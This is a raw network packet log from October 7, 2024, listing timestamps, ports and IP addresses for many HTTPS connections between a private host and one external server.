Oct 7, 2024 18:44:28.749552011 CEST	443	53820	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.749620914 CEST	443	53820	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.749675989 CEST	53820	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:28.749697924 CEST	443	53820	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.749737978 CEST	443	53820	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.749785900 CEST	53820	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:28.749861956 CEST	53820	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:28.749861956 CEST	53820	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:28.749902964 CEST	443	53820	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.749922991 CEST	443	53820	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.752115965 CEST	53824	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:28.752150059 CEST	443	53824	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.752263069 CEST	53824	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:28.752414942 CEST	53824	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:28.752429008 CEST	443	53824	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.761343956 CEST	443	53819	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.761615038 CEST	443	53819	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.761692047 CEST	53819	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:28.761730909 CEST	53819	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:28.761744976 CEST	443	53819	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.761761904 CEST	53819	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:28.761765957 CEST	443	53819	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.764022112 CEST	53825	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:28.764075041 CEST	443	53825	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:28.764168024 CEST	53825	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:28.764329910 CEST	53825	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:28.764350891 CEST	443	53825	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.221174955 CEST	443	53824	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.221688032 CEST	53824	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.221702099 CEST	443	53824	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.221847057 CEST	443	53822	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.222163916 CEST	53822	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.222206116 CEST	53824	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.222209930 CEST	443	53824	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.222249985 CEST	443	53822	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.222516060 CEST	53822	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.222531080 CEST	443	53822	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.223304033 CEST	443	53825	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.225617886 CEST	53825	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.225640059 CEST	443	53825	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.225951910 CEST	53825	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.225956917 CEST	443	53825	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.226819038 CEST	443	53823	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.227108002 CEST	53823	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.227184057 CEST	443	53823	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.227397919 CEST	53823	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.227412939 CEST	443	53823	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.238837957 CEST	443	53821	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.239296913 CEST	53821	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.239321947 CEST	443	53821	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.239737988 CEST	53821	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.239748955 CEST	443	53821	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.320466042 CEST	443	53822	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.320548058 CEST	443	53822	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.320625067 CEST	53822	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.320738077 CEST	443	53824	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.320813894 CEST	443	53824	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.320863008 CEST	53824	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.320887089 CEST	53822	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.320911884 CEST	443	53822	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.320924997 CEST	53822	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.320930958 CEST	443	53822	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.320964098 CEST	53824	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.320982933 CEST	443	53824	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.320995092 CEST	53824	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.321001053 CEST	443	53824	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.322021961 CEST	443	53825	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.322050095 CEST	443	53825	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.322097063 CEST	53825	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.322108984 CEST	443	53825	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.322150946 CEST	53825	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.322666883 CEST	53825	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.322678089 CEST	443	53825	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.322688103 CEST	53825	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.322691917 CEST	443	53825	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.323826075 CEST	443	53823	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.323893070 CEST	443	53823	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.323945999 CEST	53823	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.323970079 CEST	443	53823	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.323990107 CEST	443	53823	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.324033022 CEST	53823	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.324554920 CEST	53826	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.324579000 CEST	443	53826	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.324635029 CEST	53826	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.324676991 CEST	53827	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.324716091 CEST	443	53827	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.324759007 CEST	53827	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.324798107 CEST	53823	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.324798107 CEST	53823	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.324810028 CEST	443	53823	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.324815989 CEST	443	53823	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.324991941 CEST	53826	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.325001001 CEST	443	53826	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.325058937 CEST	53827	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.325069904 CEST	443	53827	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.325607061 CEST	53828	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.325623035 CEST	443	53828	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.325685978 CEST	53828	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.325779915 CEST	53828	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.325793028 CEST	443	53828	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.326484919 CEST	53829	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.326518059 CEST	443	53829	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.326579094 CEST	53829	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.326699018 CEST	53829	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.326709986 CEST	443	53829	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.376488924 CEST	443	53821	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.376557112 CEST	443	53821	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.376657963 CEST	443	53821	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.376672029 CEST	53821	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.376712084 CEST	53821	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.376992941 CEST	53821	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.377022028 CEST	443	53821	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.377033949 CEST	53821	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.377039909 CEST	443	53821	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.380044937 CEST	53830	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.380069971 CEST	443	53830	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:30.380151033 CEST	53830	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.380316973 CEST	53830	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:30.380330086 CEST	443	53830	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.390563011 CEST	443	53830	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.393002987 CEST	53830	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.393030882 CEST	443	53830	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.393484116 CEST	53830	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.393488884 CEST	443	53830	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.395091057 CEST	443	53826	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.395107031 CEST	443	53828	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.395494938 CEST	443	53829	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.395621061 CEST	53828	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.395653963 CEST	443	53828	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.395704031 CEST	53826	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.395720005 CEST	443	53826	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.396056890 CEST	53828	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.396063089 CEST	443	53828	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.396398067 CEST	53826	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.396403074 CEST	443	53826	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.396627903 CEST	53829	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.396635056 CEST	443	53829	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.396962881 CEST	53829	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.396966934 CEST	443	53829	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.397775888 CEST	443	53827	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.398977995 CEST	53827	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.399003983 CEST	443	53827	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.399274111 CEST	53827	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.399280071 CEST	443	53827	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.632651091 CEST	443	53830	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.632829905 CEST	443	53830	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.632924080 CEST	443	53829	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.632917881 CEST	53830	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.632951975 CEST	443	53829	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.632992983 CEST	443	53829	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.633004904 CEST	53829	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.633074999 CEST	53829	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.633147001 CEST	53830	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.633193970 CEST	443	53830	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.633224010 CEST	53830	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.633246899 CEST	443	53830	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.633270025 CEST	53829	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.633270025 CEST	53829	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.633286953 CEST	443	53829	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.633306980 CEST	443	53829	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.633615017 CEST	443	53828	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.633770943 CEST	443	53828	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.633830070 CEST	53828	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.634121895 CEST	53828	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.634140968 CEST	443	53828	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.634155989 CEST	53828	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.634161949 CEST	443	53828	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.634355068 CEST	443	53826	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.634414911 CEST	443	53826	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.634484053 CEST	53826	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.634505987 CEST	443	53826	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.634516001 CEST	443	53827	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.634567976 CEST	443	53827	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.634568930 CEST	443	53826	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.634628057 CEST	53827	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.634637117 CEST	53826	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.634644032 CEST	443	53827	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.634721994 CEST	443	53827	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.634762049 CEST	53827	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.635044098 CEST	53826	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.635077000 CEST	443	53826	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.635103941 CEST	53826	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.635118008 CEST	443	53826	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.635715008 CEST	53827	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.635730028 CEST	443	53827	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.635749102 CEST	53827	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.635752916 CEST	443	53827	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.638689995 CEST	53831	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.638727903 CEST	443	53831	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.638796091 CEST	53831	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.638906956 CEST	53832	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.638957024 CEST	443	53832	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.639008045 CEST	53832	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.639826059 CEST	53833	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.639897108 CEST	443	53833	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.639987946 CEST	53833	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.640052080 CEST	53834	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.640085936 CEST	443	53834	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.640096903 CEST	53831	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.640111923 CEST	443	53831	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.640144110 CEST	53834	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.640233994 CEST	53832	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.640261889 CEST	443	53832	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.640288115 CEST	53834	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.640320063 CEST	443	53834	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.640446901 CEST	53833	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.640470982 CEST	443	53833	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.641398907 CEST	53835	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.641422987 CEST	443	53835	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:31.641581059 CEST	53835	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.641712904 CEST	53835	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:31.641720057 CEST	443	53835	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.194641113 CEST	443	53834	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.212624073 CEST	53834	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.212656021 CEST	443	53834	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.216248989 CEST	53834	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.216255903 CEST	443	53834	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.250233889 CEST	443	53831	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.262234926 CEST	443	53833	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.262805939 CEST	443	53835	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.263816118 CEST	53831	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.263900995 CEST	443	53831	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.265862942 CEST	443	53832	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.267085075 CEST	53831	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.267101049 CEST	443	53831	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.281163931 CEST	53833	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.281186104 CEST	443	53833	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.284648895 CEST	53833	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.284671068 CEST	443	53833	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.291640043 CEST	53835	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.291677952 CEST	443	53835	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.298441887 CEST	53835	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.298470020 CEST	443	53835	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.305191040 CEST	53832	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.305208921 CEST	443	53832	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.309497118 CEST	53832	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.309509993 CEST	443	53832	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.311974049 CEST	443	53834	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.312428951 CEST	443	53834	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.312498093 CEST	53834	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.316555023 CEST	53834	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.316577911 CEST	443	53834	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.316591978 CEST	53834	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.316597939 CEST	443	53834	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.376426935 CEST	443	53831	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.376538038 CEST	443	53831	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.376590014 CEST	443	53831	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.376596928 CEST	53831	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.376631975 CEST	53831	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.377578020 CEST	443	53833	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.378324986 CEST	443	53833	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.378370047 CEST	443	53833	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.378372908 CEST	53833	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.378407955 CEST	53833	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.391582012 CEST	443	53835	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.391695976 CEST	443	53835	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.391766071 CEST	53835	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.391792059 CEST	443	53835	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.391824007 CEST	443	53835	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.391968012 CEST	53835	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.392744064 CEST	53831	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.392771959 CEST	443	53831	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.392787933 CEST	53831	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.392793894 CEST	443	53831	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.401794910 CEST	443	53832	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.402277946 CEST	443	53832	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.402342081 CEST	53832	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.413314104 CEST	53832	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.413314104 CEST	53832	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.413351059 CEST	443	53832	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.413368940 CEST	443	53832	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.414527893 CEST	53833	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.414561987 CEST	443	53833	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.414577007 CEST	53833	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.414583921 CEST	443	53833	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.416366100 CEST	53835	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.416366100 CEST	53835	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.416385889 CEST	443	53835	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.416399002 CEST	443	53835	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.419159889 CEST	53836	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.419207096 CEST	443	53836	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.419289112 CEST	53836	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.419868946 CEST	53836	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.419882059 CEST	443	53836	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.420567989 CEST	53837	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.420610905 CEST	443	53837	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.420669079 CEST	53837	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.421108961 CEST	53838	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.421117067 CEST	443	53838	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.421134949 CEST	53837	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.421147108 CEST	443	53837	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.421163082 CEST	53838	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.421233892 CEST	53838	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.421236992 CEST	443	53838	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.422266960 CEST	53839	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.422281981 CEST	443	53839	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.422331095 CEST	53839	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.422821999 CEST	53840	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.422858953 CEST	443	53840	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.422924042 CEST	53839	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.422925949 CEST	53840	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.422931910 CEST	443	53839	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:32.423008919 CEST	53840	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:32.423018932 CEST	443	53840	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.065145969 CEST	443	53837	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.065691948 CEST	53837	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.065717936 CEST	443	53837	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.065951109 CEST	443	53839	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.066209078 CEST	443	53838	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.066287994 CEST	53837	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.066293001 CEST	443	53837	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.066507101 CEST	53838	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.066513062 CEST	443	53838	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.066731930 CEST	53839	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.066755056 CEST	443	53839	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.066965103 CEST	53838	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.066968918 CEST	443	53838	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.067190886 CEST	53839	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.067198038 CEST	443	53839	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.072815895 CEST	443	53840	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.073153973 CEST	53840	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.073179007 CEST	443	53840	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.073498964 CEST	53840	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.073506117 CEST	443	53840	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.073729992 CEST	443	53836	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.074004889 CEST	53836	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.074021101 CEST	443	53836	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.074343920 CEST	53836	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:33.074348927 CEST	443	53836	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.160286903 CEST	443	53837	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.160314083 CEST	443	53837	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.160360098 CEST	443	53837	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:33.160356998 CEST	53837	443	192.168.2.4	13.107.246.45
